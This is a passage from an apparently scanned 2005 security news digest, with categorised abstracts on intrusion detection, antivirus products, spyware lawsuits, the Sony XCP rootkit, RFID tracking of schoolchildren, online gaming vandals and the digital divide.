of attacks are preceded by port scans alone. "But when you combine port scans with other kinds of scans, particularly vulnerability scans, there's a much higher probability of an attack," said Cukier. Nearly three-quarters of the attacks prefaced by some kind of scan came after both a port and a vulnerability scan were run against the exposed PCs, noted Cukier's report. Through his research, Cukier expected to see a higher correlation between port scanning and attacks, but the analysis also showed that it was relatively easy to spot the difference between a port scan and a more dangerous vulnerability scan simply by counting up the number of data packets received by the PC. Cukier and his researchers concluded that there seems to be no link between port scans and attacks. Cukier's research paper: http://www.enre.umd.edu/faculty/cukier/81_cukier_m.pdf

27.3 Intrusion detection systems

2005-10-04 network attack tracking intrusion detection academic campus Internet comparison intelligence project Columbia University

EDUPAGE; http://chronicle.com/daily/2005/10/2005100401t.htm

RESEARCH PROJECT WILL TRACK NETWORK ATTACKS

A research project will collect regular snapshots of computer networks from as many as 10 colleges and universities in an effort to improve protections from and responses to Internet attacks. The Information Security in Academic Institutions project, an initiative of the Columbia University Teachers College, uses monitoring technology called Dshield and has already been tested at three institutions. The other institutions in the project have yet to be named, and the system may eventually be widely available. The system will give network administrators data about the state of networks, allowing them to gain a better understanding of Internet attacks by comparing data from before, during, and after an attack. Steffani A. Burd, executive director of the project, described it as "a 360-degree view of what's going on." The system will also pool data collected from participating institutions and make it available anonymously on the Web. This aggregation of data will allow a comparison between activity on the Internet generally and what's happening at campuses. Chronicle of Higher Education, 4 October 2005 (sub. Req'd)

27.7 Anti-malware technology

Category 27.7 Anti-malware technology

Microsoft anti-virus malware Stephen Cobb Chey Cobb

2005-01-14 NewsScan;

SAFE & SOUND IN THE CYBER AGE

"Microsoft the Security Company?" by Stephen Cobb and Chey Cobb

Ever wonder why car companies don't make tires? A new Porsche doesn't come with Porsche tires even though Porsche engineers are some of the smartest in the world. We recently bought an almost-new Nissan and it came with the original tires, made by Goodyear. Of course, there are close relationships between car companies and tire companies, and they all have to work together on a variety of constantly evolving standards to make sure that the rubber that meets the roads fits the wheels on the wagon, so to speak. What has this got to do with computer security? Some alert NewsScan readers will have guessed already: Microsoft has planted its feet firmly in the computer security business. Now think of Microsoft as the GM of computing (actually a closer approximation of Microsoft's position in the IT world would be a mega-GM that had absorbed Ford, Toyota, Honda, and Daimler Chrysler). In other words, Microsoft makes most of the world's operating system software and most of the world's application software, which together make up the "cars" we are talking about. The safety of those cars, the rubber on the road in our analogy, is currently entrusted to a wide range of companies, big and small, companies like Symantec, Computer Associates, McAfee, Trend Micro, ZoneAlarm, Sygate, Grisoft, et al. These companies make their money selling products that help us to use Microsoft's products without skidding, crashing, or otherwise going off the virtual highway. For the most part they manage to perform this function without negatively impacting performance or the usability of our systems, while constantly evolving to meet new threats, many of which arise from defects in the very car they ride on, Microsoft's Windows OS and Office applications. However, through a series of recent announcements, Microsoft has indicated that it would like a slice of the revenue these security companies earn from protecting users of Microsoft products. Some Wall Street analysts have declared that this is a good move for Microsoft, and bad news for all those security companies that will lose market share to Microsoft. Given the slavish, sheep-like manner in which some investors follow the words of Wall Street analysts, it could indeed be good news for Microsoft, a sort of self-fulfilling investment prophecy, until the world wakes up to what a bad idea it is for Microsoft to make the tires for its cars. The last time Microsoft tried this, the results, for users, were dismal. Of course, these days it is hard to find a Wall Street analyst with a memory longer than the last four quarters, so you probably won't see many references to Microsoft's 1993 vintage Anti-Virus for DOS in current discussions of Microsoft's security ventures (but you can find a very detailed critique of the product, written about ten years ago by the late Yisrael Radai of the Hebrew University of Jerusalem, at cobb.com/pclan, or just Google "MSAV"). We would like to quote from the first paragraph of this review: "The very fact that such software [Microsoft AV] is supplied with DOS makes it likely that it will become one of the most widely used AV packages in the world and the de facto standard, regardless of its quality. Precisely for this reason, it will be specifically targeted by virus writers. If there are any weaknesses whatsoever in the software, they will be ruthlessly exploited by these people." In fact, Microsoft's implementation of anti-virus back then was so bad it never gained traction in the market place, but that does not undermine the serious implications of Mr. Radai's very astute observations. During the last ten years Microsoft has become more effective at forcing its software on users -- flaws and all (you will know this if you have ever tried to remove Internet Explorer from your Windows computer). Of course, today's malicious code writers frequently target products by Symantee, McAfee, et al. But the very fact that there is still an "et al." provides a depth of protection that will be eroded by any further expansion of Microsoft into the security arena. Perhaps the best outcome will be a repeat of the Firefox phenomenon, in which increasingly sophisticated users decide that the best way to deal with systemic security flaws in Microsoft's browser is to use a different browser. This has already produced a significant decline in market share for Internet Explorer. Heck, with Apple now selling a very powerful Mac for less than \$500, complete with cool applications like Garage Band and Appleworks, some people may decide to drive the Internet highway in a completely different vehicle, on tires of their own choosing. [Chey Cobb, CISSP, wrote "Network Security for Dummies" and has provided computer security advice to numerous intelligence agencies. Her email address is chey at soteira dot org. Stephen Cobb, CISSP, wrote "Privacy for Business" and helped launch several successful security companies. He can be reached as scobb at cobb dot com.]

Category 27.7	Anti-malware technology
2005-04-26	denial of service software quality assurance QS antivirus signature file endless CPU
	loop reboot update

RISKS

23 85

MAJOR DAMAGE CAUSED BY BAD UPDATE FILE FOR TRENDMICRO ANTIVIRUS

TrendMicro released a defective antivirus update file on 23 Apr 2005 that was picked up automatically by many users in Japan. The bad file caused a CPU loop that consumed 100% of the processor time on Windows XP SP2 and Windows 2003 Server systems. Effects reported to RISKS by Chiaki Ishikawa included (as examples of many others)

- JR railway reservation division could not check the reservation status (fed via network to PCs?) and so diverted (telephone) inquiring customers to manned counters at railway stations;

- Kyodo wire service could not send out automatic wire service news for a few hours, and so resorted to send out important news via FAX (I believe that the initial news articles from Kyodo was sent in this manner);

- Osaka subway system saw its computer to distribute accident information to its stations failed to reboot; and

- Toyama city's election committee could not handle advance voting for its mayoral and city alderman elections on their computer and had to resort to manual processing.

Category27.7Anti-malware technology2005-06-20hacker security tools attacked software vulnerability Symantec F-Secure CheckPoint

DHS IAIP Daily;

http://news.com.com/Security+tools+face+increased+attack/210 0-1002_3-5754773.html?tag=nefd.top

SECURITY TOOLS FACE INCREASED ATTACK ACCORDING TO RESEARCH GROUP

As the pool of easily exploitable Windows security bugs dries up, hackers are looking for holes in security software to break into PCs, Yankee Group analysts said in a research paper published Monday, June 20. According to the Yankee Group, software makers of ubiquitous antivirus products have not yet been forced to acknowledge and fix potential problems in their code. Microsoft's Windows operating system has been a favorite target of hackers, but new security flaws are being discovered in security products at a faster rate than in Microsoft's products, the analysts wrote. Symantec, F-Secure and CheckPoint Software Technologies are among the vendors that have seen a rise in the number of security issues that affect their products in the past years and the Yankee Group predicts a "rising tide" of vulnerabilities will soon be found in security products. Yankee Group findings: http://www.yankeegroup.com/public/news_releases/news_release
__detail.jsp?ID=PressReleases/news_06202005_FearandLoathing_P R.htm

Category 27.7 Anti-malware technology

2005-10-19 Rootkit professional commercialization worm evade antivirus scanners StillSecure intrusion vulnerability network applications

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2144149/rootkits-turn-prof essional

ROOTKIT CREATORS TURN PROFESSIONAL

Security experts are reporting a surge in the level of professionalism and commercialization in the creation of rootkits, a tool that helps worm authors slip past malware detection tools. Antivirus vendor F-Secure has reported that it has detected a new rootkit designed to bypass detection by most of the modern rootkit detection engines. Traditionally a rootkit would be designed to evade only one security product, such as Symantec's or F-Secure's antivirus scanners. Allen Schimel, chief strategy officer at StillSecure, a developer of intrusion detection, vulnerability management, and network access control applications, says "These rootkits just cranked it up a notch in their ability to evade multiple antivirus product." Schimel also warns that if these tools are effective in penetrating a computer's defenses, more worm authors are likely to start using them. The version of the rootkit detected by F-Secure is called Golden Hacker Defender.

28.1 Spyware, Web bugs & cookies

Category 28.1 Spymare, Web bugs & cookies

2005-01-07 Microsoft anti-spyware Windows

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A54902-2005Jan6.html

MICROSOFT OFFERS ANTI-SPYWARE SOFTWARE

In a move indicating its increasing interest in the security market, Microsoft is giving away software designed to protect Windows users from spyware (programs that transmit information about the user without his or her knowledge). Industry analysts believe the company will eventually enter the market for computer security software, and George Kafkarkou of Computer Associates says that Microsoft's entry into the antispyware arena brings "validation" to that marketplace. (Washington Post 7 Jan 2005)

Category 28.1	Spyware, Web bugs & cookies		
2005-01-07	anti-spyware software Microsoft review evaluation beta-test		
RISKS 23 60		66	
NEWS! SLADE DOESN'T SLAM SPYWARE DEFENSE!			

Veteran reviewer Rob Slade reported his first impressions of the Microsoft Anti-Spyware beta version. After detailed information on his explorations and tests, he summarized his findings as follows: "At the moment, after a very quick test, I'd provisionally recommend the use of the MS/Giant antispyware program, at least in fairly restricted and manual mode. I'd be interested in hearing from others who have tested the real-time operations more extensively, and particularly from anyone who has tested the Spynet capabilities, and what information is returned thereby."

Category 28.1 Spyware, Web bugs & cookies 2005-04-29 spyware installation lawsuit New York Attorney General Intermix Media state law violation

EDUPAGE; http://www.nytimes.com/2005/04/29/nyregion/29internet.html

SPITZER FILES SUIT AGAINST MARKETING FIRM FOR SPYWARE

New York Attorney General Eliot Spitzer has filed suit against California-based Intermix Media for installing spyware on millions of computers. The marketing company, which conceded that previous owners indeed distributed spyware, is accused of violating state laws concerning false advertising, deceptive business practices, and trespassing. The state is seeking injunctions barring the company from distributing any more spyware; an accounting of revenues the company realized from the spyware; and fines of \$500 for each act of installing spyware. A statement from the company said that it voluntarily stopped installing spyware recently and that no personal information was ever collected with the secretly installed software. The statement hinted at trying to reach a settlement with New York, a resolution that observers said is a typical outcome of situations like this one. New York Times, 29 April 2005 (registration req'd)

Category28.1Spyware, Web bugs & cookies2005-04-29lawsuit litigation spyware insidious software New York vs. California Internet
company Intermix Media

DHS IAIP Daily; http://www.nytimes.com/2005/04/29/nyregion/29internet.html

NEW YORK SUES CALIFORNIA INTERNET COMPANY ON USE OF SPYWARE

A broad investigation into Internet abuses led the New York attorney general to file a lawsuit on Thursday, April 28, accusing a California company of clogging computers across the nation with secretly installed spyware and adware, which can vex users and impede the flow of commerce on the Web. The attorney general, Eliot Spitzer, sued Intermix Media, a large Internet marketing firm, accusing it of embedding "several types of invasive and annoying" programs on its Web domains that can pop up, route users to unwanted sites or link them to Intermix's services and clients. In recent years, companies have tried to sneak what consumer advocates call parasitic software into computers that tracks users' browsing habits, but government inquiries into such practices have been rare, said Ben Edelman, a Harvard University researcher who studies spyware. An official with Intermix, in a statement posted on Thursday on the company's Website, said that the company neither promoted nor condoned spyware, and that many of the practices being challenged by Mr. Spitzer began under the company's previous leadership.

Category28.1Spyware, Web bugs & cookies2005-05-24spyware malicious code installation affiliate program Russia business
iframeDOLLARS

EDUPAGE; http://www.techweb.com/wire/security/163700705

SPREADING SPYWARE THROUGH AN AFFILIATE PROGRAM

A business based in Russia is adopting the affiliate-program approach to spreading spyware around the globe. Called iframeDOLLARS, the company is offering Web site operators 6.1 cents for every computer on which the Web site installs code that exploits vulnerabilities in Windows and Internet Explorer. Microsoft has issued patches for the weaknesses, but unpatched computers remain at risk. The malicious code includes backdoors, Trojans, spyware, and adware. Operators of the iframeDOLLARS site claim to have paid out nearly \$12,000 last week alone, which would translate to nearly 200,000 infected computers. Although spyware expert Richard Stiennon called the tactic "brazen" and said iframeDOLLARS might be making quite a bit of money from its scheme, Dan Hubbard, the head of security at Websense, gave iframeDOLLARS less credit. He noted that the company has been around for a while, trying various methods to install malicious code, and he said a number of others have tried similar affiliate programs to accomplish the same thing. TechWeb, 24 May 2005

Category 28.1 Spyware, Web bugs & cookies 2005-06-03 spam anti-spam Anti-Spyware Coalition definition spyware Center for Democracy and Technology

EDUPAGE; http://software.silicon.com/malware/0,3800003100,39130956,00.htm

SPAM FIGHTERS FORM NEW COALITION

A new group tentatively called the Anti-Spyware Coalition plans to publish guidelines to define spyware, best practices for software development, and a lexicon of common terms by the end of the summer. The guidelines will be open to public comment. The Center for Democracy and Technology, a public advocacy group based in Washington, is running the new initiative. The coalition formed two months after the collapse of the Consortium of Anti-Spyware Technology Vendors, which admitted a company suspected of making adware. According to David Fewer, staff counsel at the Ottawa-based Canadian Internet Policy and Public Interest Clinic, which is affiliated with the new consortium, judging whether software is spyware comes down to notice, consent, and control. Many adware and spyware products fail to meet all three requirements. Silicon.com, 3 June 2005

Category 28.1 Spyware, Web bugs & cookies

2005-07-12 spyware Anti-Spyware Coalition definition

EDUPAGE; http://news.com.com/2100-1029_3-5783926.html

COALITION TO RELEASE SPYWARE DEFINITION

The recently created Anti-Spyware Coalition is set to release a definition of spyware. According to officials from the group, the first step toward dealing with the growing problem of spyware and adware is to define very clearly what it is. The group's proposed definition, which the public can comment on until August 12, identifies spyware as software that is installed without adequate notification and that monitors computer users' activities. The group also proposes a broader definition that would include software that interferes with users' abilities to properly control their systems. Critics of the group's definitions argue that makers of spyware and adware stand to benefit the most from such a definition because it clearly delineates what they could do and get away with. After the comment period is closed, officials of the Anti-Spyware Coalition will incorporate the best suggestions into the final definitions. CNET, 12 July 2005

Category 28.1	Spyware, Web bugs & cookies
2005-07-26	spyware unauthorized communication phone home data leakage confidentiality control surveillance malicious software malware survey bandwidth

RISKS; http://www.theregister.co.uk/2005/07/25/spyware_screening/	23	95
SDVWADE CETTING WODSE, VOLUME & STEALTH INCDEASING		

SPYWARE GETTING WORSE: VOLUME & STEALTH INCREASING

Outbound spyware transmissions from infested machines accounted for up to eight per cent of total outbound web traffic in pilot tests of a new managed spyware screening service. UK web security firm ScanSafe said the volume of traffic observed during a 10-week pilot test of its Spyware Screening service showed that spyware applications are becoming stealthier in their ability to hide their outbound 'covert' channels among normal web traffic. That's bad news because data sent when spyware "calls-home" can include confidential and even privileged information.

Spyware now accounts for around 20 per cent of web-based threats, which includes other malware such as worms and Trojans, and is still on the increase, according to ScanSafe. The firm said malware such as CoolWebSearch, which hides on an infected client using newly developed root-kit architecture, often evades detection.

[Abstract by Peter G. Neumann]

Category 28.1	Spyware, Web bugs & cookies
2005-10-05	FTC Odysseus Marketing spyware malicious insidious software distribution anonymous file trading Google Yahoo lawsuit Kazanon

EDUPAGE; http://msnbc.msn.com/id/9598897/

FTC SUES FOR ALLEGED SPYWARE

The Federal Trade Commission (FTC) has sued Odysseus Marketing, accusing the company of engaging in distributing spyware. Odysseus distributed an application called Kazanon, which supposedly allowed users to trade files anonymously, without fear of being identified by record companies. According to the FTC, users who downloaded the application also got a range of adware programs that fed advertisements to those users' computers and added items to the search results pages of popular search engines, including Google and Yahoo. The added items, which were indistinguishable from those supplied by the search engine, directed users to companies that paid Odysseus for the placement. Further, the software did not offer users a simple option to uninstall it. Walter Rines, owner of Odysseus, disputed all of the FTC's claims. He noted that the user agreement informs consumers of what will be installed when they download the Kazanon program. He also said an uninstall tool is available and that his company's software did not remove any search results but merely added to the list. Rines also said the lawsuit was "moot" because his company stopped distributing adware several weeks ago. MSNBC, 5 October 2005

Category 28.1 Spymare, Web bugs & cookies

2005-10-27 anti-spyware malicious insidious software coalition guidelines

EDUPAGE; http://news.com.com/2100-7348_3-5918113.html

ANTI-SPYWARE COALITION RELEASES GUIDELINES

The Anti-Spyware Coalition has released a definition of what constitutes spyware, as well as guidelines for dealing with spyware. The group's definition says that spyware is an application installed without sufficient consent of the user and that interferes with the user's ability to exert control over such things as security, privacy and personal information, and system resources. Critics had cautioned that a definition of spyware would allow developers of unwanted software to simply sidestep the characteristics included in the definition, thereby legitimizing their applications. The Anti-Spyware Coalition said it understands that concern and drafted a definition with enough latitude to avoid that problem. The group also identified good practices for how organizations should identify and prevent spyware. Included in the resources is guidance on how to rate the severity of particular spyware applications. The group will accept public comments on the newly released documents until November 27 and will release final versions in early 2006. CNET, 27 October 2005

Category 28.1	Spyware, Web bugs & cookies
2005-11-14	FTC shut down spyware business social engineering
DHS IAIP Daily; http	://www.govtech.net/news/news.php?id=97252

FEDERAL TRADE COMMISSION SHUTS DOWN SPYWARE OPERATION

An operation that uses the lure of free lyric files, browser upgrades, and ring tones to download spyware and adware on consumers' computers has been ordered to halt its illegal downloads by a U.S. District Court at the request of the Federal Trade Commission (FTC). The court also halted the deceptive downloads of an affiliate who helped spread the malicious software by offering blogs free background music. The music code downloaded by the blogs was bundled with a program that flashed warnings to consumers about the security of their computer systems. Consumers who opted to upgrade by clicking, downloaded the spyware onto their computers. The FTC complaint alleges that the Websites of the defendants and their affiliates cause "installation boxes" to pop up on consumers' computer screens. In one variation of the scheme, the installation boxes offer a variety of "freeware," including music files, cell phone ring tones, photographs, wallpaper, and song lyrics. In another, the boxes warn that consumers' Internet browsers are defective, and claim to offer free browser upgrades or security patches. Consumers who download the supposed freeware or security upgrades do not receive what they are promised; instead, their computers are infected with spyware.

Category 28.1 Spyware, Web bugs & cookies

2005-12-01 Adware company lawsuit high risk label Zone Labs

EDUPAGE; http://news.zdnet.com/2100-9588_22-5979179.html

ADWARE COMPANY QUIBBLES WITH LABEL

A company that makes and distributes adware has filed a lawsuit against a computer security company that identifies the adware company's products as "high risk." The adware purveyor, 180solutions, contends that Zone Labs erred in saying that some of 180solutions's applications try to monitor mouse movements and keystrokes. Although some of its applications employ a technology that could be used in such a manner, those applications do not in fact work that way, according to 180solutions. Representatives from 180solutions said they tried to explain the situation to Zone Labs but were forced to file the lawsuit when Zone Labs refused to remove the applications in question from its list of high-risk tools. Eric Howes, a spyware researcher at the University of Illinois, said that despite its protestations, 180solutions remains "a perfectly legitimate target for anti-spyware companies." According to Howes, security professionals continue to "find unethical and illegal installations of 180's software." ZDNet, 1 December 2005

Category28.1Spymare, Web bugs & cookies2005-12-18Websites spyware installation Microsoft Internet Explorer IE zero-day exploit bug

DHS IAIP Daily; http://www.techweb.com/wire/security/174907332;jsessionid=WR E35TOIAV2AUQSNDBECKH0CJUMEKJVN

SITES INSTALLING SPYWARE VIA ZERO-DAY INTERNET EXPLORER BUG,

A still-unpatched Internet Explorer vulnerability that's been used by attackers since late November to compromise Windows PCs is now being used by large numbers of malicious Websites to plant spyware and adware, a security company claimed Thursday, December 8. San Diego-based Websense said in an alert that it's detected thousands of sites connecting to a main malicious URL that's "actively exploiting this vulnerability to execute malicious code," according to the warning. All it takes is a visit to one of the sites with Internet Explorer running on Windows 98, Windows Me, Windows 2000, or Windows XP, to compromise a computer, the warning noted. A bogus warning that the machine is infected with spyware appears and a so-called "spyware cleaning" application launches. That application then prompts the user to enter a credit card number. What's actually installed, however, is real spyware, which then connects to a URL in the .biz domain to download and run more than 10 other programs that install without the user's consent. According to Websense, the .biz domain Website is real, but has been compromised by hackers. It's hosted in the U.S., and is currently still online.

28.2 Scumware

Category 28.2 Scumware

CD copy protection suspension Sony spyware DRM XCP rootkit installation patch

DHS IAIP Daily;

2005-11-11

http://www.techweb.com/wire/security/173602071;jsessionid=BH YE2POHHTY0IQSNDBOCKH0CJUMEKJVN

SONY SUSPENDS CD COPY PROTECTION

On Friday, November 10, Sony BMG Music Entertainment announced that it would stop producing CDs with its XCP copyprotection technology. The move came just a day after nearly every major security firm put out alerts that a Trojan horse was using the XCP (eXtended Copy Protection) software to hide malicious files. A wave of lawsuits has been filed or are about to be filed against Sony for installing the hacker-style "rootkit" on users' PCs without their permission. On Thursday, November 9, Sony BMG posted a news release on its Website that linked to a patch download and the site where consumers are to request help with uninstalling the copy-protection software.

Category 28.2 Scumware

2005-12-04 spyware scumware Sony rootkit XCP security vendors

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,106759,00.html

SONY ROOTKIT PROBLEM RAISES QUESTIONS FOR SECURITY VENDORS

Sony BMG Music Entertainment has been lambasted for shipping its spywarelike XCP software on music CDs over the past year, but an important question has gone largely unanswered: Why didn't security vendors catch the problem sooner? Though one security vendor, Finland's F-Secure Corp., was aware of the problems surrounding Extended Copy Protection (XCP), none of the major anti-spyware or antivirus vendors had any idea that something was amiss, according to representatives from Symantec Corp., McAfee Inc., and Computer Associates International Inc. There were two things about XCP that presented challenges for the big security vendors. The first was Sony's use of rootkit techniques to cloak XCP and make it harder to circumvent its copy-protection capabilities. A second problem is that the software was distributed by a trusted company: Sony. Sony has sold an estimated two million CDs containing the copy-protection software, which used special rootkit techniques to hide itself on PCs. Rootkit software runs at a very low level of the operating system and is designed to be extremely difficult to detect. Ultimately, XCP's cloaking ability was used by hackers to write malicious software, a development that prompted Sony to recall its XCP CDs.

Category 28.2 Scumware

2005-12-06 Sony BMG CD rootkit spyware scumware EFF computer security fix

DHS IAIP Daily;

http://news.com.com/New+Sony+CD+security+risk+found/2100-100 2_3-5984764.html?tag=cd.lede

NEW SONY CD SECURITY RISK FOUND

Sony BMG Music Entertainment and the Electronic Frontier Foundation (EFF) digital rights group jointly announced Tuesday, December 6, that they had found, and fixed, a new computer security risk associated with some of the record label's CDs. The danger is associated with copy-protection software included on some Sony discs created by a company called SunnComm Technologies. The vulnerability could allow malicious programmers to gain control of computers that have run the software. The issue affects a different set of CDs than the ones involved in the copy-protection gaffe that led Sony to recall 4.7 million CDs last month. The announcement is the latest result of the detailed scrutiny applied by the technical community to Sony's copy-protected discs, after a string of serious security issues were found to be associated with the label's anti-piracy efforts. Following those revelations, the EFF asked computer security company iSec Partners to study the SunnComm copy protection technology, which Sony said has been distributed with 27 of its CDs in the United States. iSec found the hole announced Tuesday and notified Sony, but news of the risk was not released until SunnComm had created a patch. Sony patch: http://sonybmg.com/mediamax/List of CDs affected: http://sonybmg.com/mediamax/titles.html

28.4 Cell/mobile phones/GPS/cameras

Category 28.4 Cell/mobile phones/GPS/cameras

2005-09-19 data leakage countermeasure photography illicit surreptitious digital camera privacy

INNOVATION

PHOTO-BLOCKING TECHNOLOGY

Paparazzi, beware! Researchers at Georgia Tech have come up with a way to prevent digital cameras and camcorders from taking surreptitious photos or video. The technology can detect the presence of a digital camera up to 33 feet away and then shoots a targeted beam of light at the lens, neutralizing the recorded image. The neutralizing light continues until the camera lens can no longer be detected. The group has developed a lab prototype consisting of a digital projector with a modified video camera mounted on the top, but team members say they're working on a design that could be commercially manufactured and sold. With the rise in cell phone cameras and other intrusive camera technology, they see the technology as a first step toward ameliorating privacy concerns that are escalating in the face of shrinking camera size, and anticipate that businesses, conferences and exhibit halls with no-photography rules will constitute a ready-made market. (CNet News.com 19 Sep 2005) <htps://news.com.com/Crave+privacy+New+tech+knocks+out+digital+cameras/2100-7337_3-5869832.html>

28.6 **RFID** tags

Category 28.6 RFID tags 2005-02-10 RFID radio freqency identifier elementary school ACLU track surveillance privacy civil liberties

NewsScan; http://apnews.excite.com/article/20050210/D885RJD81.html

CONTROVERSIAL USE OF RFID TECHNOLOGY IN ELEMENTARY SCHOOL

Brittan Elementary School in rural Sutter, California, is requiring students to wear radio frequency identification (RFID) badges that can track their movements in order to simplify attendance-taking, curtail vandalism, and improve student safety. But civil libertarians are alarmed, and ACLU representative Nicole Ozer warns, "If this school doesn't stand up, then other schools might adopt it. You might be a small community, but you are one of the first communities to use this technology." Angry parent Michael Cantrall, who alerted the ACLU to the school's decision to use RFID technology, which is also used to track merchandise, says: "There is a way to make kids safer without making them feel like a piece of inventory. Are we trying to bring them up with respect and trust, or tell them that you can't trust anyone, you are always going to be monitored, and someone is always going to be watching you?" Each student is required to wear identification cards around their necks with their picture, name and grade and a wireless transmitter that beams their ID number to a teacher's handheld computer when the child passes under an antenna posted above a classroom door. But the IDs have been welcomed by some parents, such as one who notes: "This is not Mayberry. This is Sutter, California. Bad things can happen here." (AP 10 Feb 2005)

* * *

NO RFID TAGS FOR SCHOOL KIDS -- AT LEAST FOR NOW

The InCom company, which developed Radio Frequency Identification (RFID) tags to monitor the whereabouts of school children, has pulled out of a deal with Brittain Elementary School in Sutter, California. School principal Earnie Graham says, "I'm disappointed... I think I let my staff down. Nobody on this campus knows every student." Dawn Cantrall, the parent who objected to the system and brought the ACLU in to stop its implementation, remains skeptical: "I'm not convinced it's over. I'm happy for now that kids are not being tagged, but I'm still fighting to keep it out of our school system. It has to stop here." The system was conceived as a way of simplifying attendance-taking, reducing vandalism, and keeping students safe. (San Francisco Chronicle 16 Feb 2005)

http://sfgate.com/cgi-bin/article.cgi?file=/n/a/2005/02/16/financial/f075453S34.DTL

Category 28.6	RFID tags
2005-08-02	identification authentication I&A Social Security Number SSN card RFID radio frequency identification device identity theft legislation proposal Congress

RISKS MISSING THE POINT: RFID TAGS IN SOCIAL SECURITY CARDS

Geoff Kuenning analyzed a misguided application of RFID tags:

I just received an e-mail from my Congressman, David Dreier, touting his efforts to put RFID chips in Social Security cards. Dreier, never noted for clear thinking, writes:

>There is a common sense solution to thwarting identity theft and the fraudulent use of Social Security cards: the cards must be made counterfeit-proof... H.R. 98...improves the integrity of the Social Security card by adding a digitized photo of the cardholder. These Smart Cards will also contain a unique electronic encryption code that will allow employers to verify each applicant's work eligibility prior to hiring. Smart Cards will decrease Social Security information theft and prevent illegal immigrants from using fake or stolen Social Security information to get a job.<

Note that HR 98 doesn't do anything to actually address identity theft, which isn't performed using Social Security cards in the first place. Sensible measures, like making the Social Security Number self-checking, decoupling it from identification, and penalizing corporations who fail to protect SSNs or who misuse them, are notably absent. Instead we have yet another case of technology as a panacea.

But in the current hysterical climate, and with the popular fascination with overhyped technology, I have no doubt that the bill will pass. I also have no doubt that it will have no effect on its true target, illegal immigration, since it will be easy to find low-paid insiders to help forge the "impossible to forge" cards.

23

96

29.1 Addiction, games & violence

Category 29.1 Addiction, games & violence

2005-09-27 virus plague cyber-terrorism role-playing game malware infection bug quality assurance QA testing patch vandals

http://www.securityfocus.com/print/news/11330

GOOD GRIEF: GAMING VANDALS AS CYBER-TERRORISTS

The vandals called _griefers_ who infest computer-based role-playing games took advantage of a new feature called "corrupted blood" in the popular World of Warcraft game community. The feature was originally supposed to be limited to characters in a specific dungeon but the griefers teleported the infected characters into cities and infected pets. As a result, entire cities were depopulated as the plague spread from character to character. The Blizzard Entertainment programmers running the game -- presumably the equivalents of gods -- issued patches that shut down the pandemics. Robert Lemos, writing in SecurityFocus, quoted a game-playing security consultant, Brian Martin, as saying, "Giving it the ability to propagate at all beyond a limited environment definitely reminds us that self-propagating code is likely to bite us in the ass without careful consideration and planning.... This also underscores the fact that adequate testing is a requirement for software, as this--and thousands of other bugs-would have easily been discovered and hopefully fixed had the testing been more thorough."

29.2 Cyberdating & cybersex

Category 29.2 Cyberdating & cybersex

2005-01-11 Internet sociology anonymity role-playing psychology addiction fantasy reality

NewsScan; http://www.nytimes.com/2005/01/11/health/psychology/11secr.html

'ON THE INTERNET, NO ONE KNOWS YOU'RE A DOG'

Psychologists believe that secret role-playing may be good or bad, depending on the circumstances. Harvard psychology professor Daniel M. Wegner says: "In a very deep sense, you don't have a self unless you have a secret, and we all have moments throughout our lives when we feel we're losing ourselves in our social group, or work or marriage, and it feels good to grab for a secret, or some subterfuge, to reassert our identity as somebody apart." The Internet is famous for accommodating people with multiple personalities, and MIT sociologist and author Sherry Turkle says, "It used to be you'd go away for the summer and be someone else, go away to camp and be someone else, or maybe to Europe and be someone else" -- whereas now many people now use online interactive games to set up families they wish they had or to play out alternative versions of their own lives. "I think what people are doing on the Internet now has deep psychological meaning in terms of how they're using identities to express problems and potentially solve them in what is a relatively consequencefree zone." In further defense of secret lives, New York clinical psychiatrist Jay S. Kwawer says, "Contrary to what many people assume, quite often a secret life can bring a more lively, more intimate, more energized part of themselves out of the dark." (New York Times 11 Jan 2005)

Category 29.2 Cyberdating & cybersex

2005-02-07 anonymity Internet romance chat room

NewsScan; http://theage.com.au/articles/2005/02/07/1107625114716.html

A MODERN VALENTINE'S DAY FABLE

A budding romance between a Jordanian man and woman turned into an ugly public divorce when the couple found out that they were in fact man and wife, state media reported on Sunday. Separated for several months, boredom and chance briefly reunited Bakr Melhem and his wife Sanaa in an internet chat room, the official Petra news agency said. Bakr, who passed himself off as Adnan, fell head over heels for Sanaa, who signed off as Jamila (beautiful) and described herself as a cultured, unmarried woman -- a devout Muslim whose hobby was reading, Petra said. Cyberlove blossomed between the pair for three months and soon they were making wedding plans. To pledge their troth in person, they agreed to meet in the flesh near a bus depot in the town of Zarqa, northeast of Amman. The shock of finding out their true identities was too much for the pair. Upon seeing Sanaa-alias-Jamila, Bakr-alias- Adnan turned white and screamed at the top of his lungs: "You are divorced, divorced, divorced" -- the traditional manner of officially ending a marriage in Islam. "You are a liar," Sanaa retorted before fainting, the agency said. (The Age 7 Feb 2005)

Category 29.2 Cyberdating & cybersex

2005-03-14 Internet increase gambling college students poker tournaments

EDUPAGE; http://www.nytimes.com/2005/03/14/education/14gamble.html

INTERNET FUELS GAMBLING AMONG COLLEGE STUDENTS

Gambling is seeing a significant upsurge among college students in the United States, a trend many attribute to the combination of television coverage of glitzy poker tournaments and the availability of gambling Web sites. Poker tournaments are showing up on campuses including Columbia University and the University of North Carolina, with waiting lists of students hoping to participate. A poker society at the University of Pennsylvania receives hundreds of responses during the first 30 minutes after a tournament is announced, according to the group's president. Some students, such as Princeton University senior Michael Sandberg, have made large amounts of money--in the past six months, Sandberg has won \$30,000 in Atlantic City and another \$90,000 playing cards online--and have come to regard gambling as an attractive and lucrative career option. Keith S. Whyte, executive director of the National Council on Problem Gambling, commented that university administrators are not working to raise awareness of the risks of gambling, nor are they offering resources for how to get help, which they do for issues such as substance abuse or date rape. New York Times, 14 March 2005 (registration req'd)

29.3 Digital divide

Category 29.3 Digital divide

2005-06-15 Internet access rural India villages World Bank thin client technology bridge digital divide

EDUPAGE; http://www.nytimes.com/2005/06/16/technology/16compute.html

BRINGING THE INTERNET TO RURAL INDIA

As many as 5,000 villages in rural India may soon be connected to the Internet, thanks to efforts of an international group of companies and organizations, including the World Bank. Many rural Indians do not have easy access to business or government functions, and the project is designed to fill that gap for villages with more than 5,000 residents in the Indian state of Karnataka. The computer centers or kiosks will connect to the Internet either through wired networks or by satellite and will have between 5 and 10 "thin client" computers. In addition to the World Bank, partners in the project include Comat Technologies, an Indian Internet service provider; ICICI Bank, a commercial bank in India; and California-based Wyse Technology, maker of computer terminal equipment. New York Times, 15 June 2005 (registration req'd)

29.4 Online & electronic voting

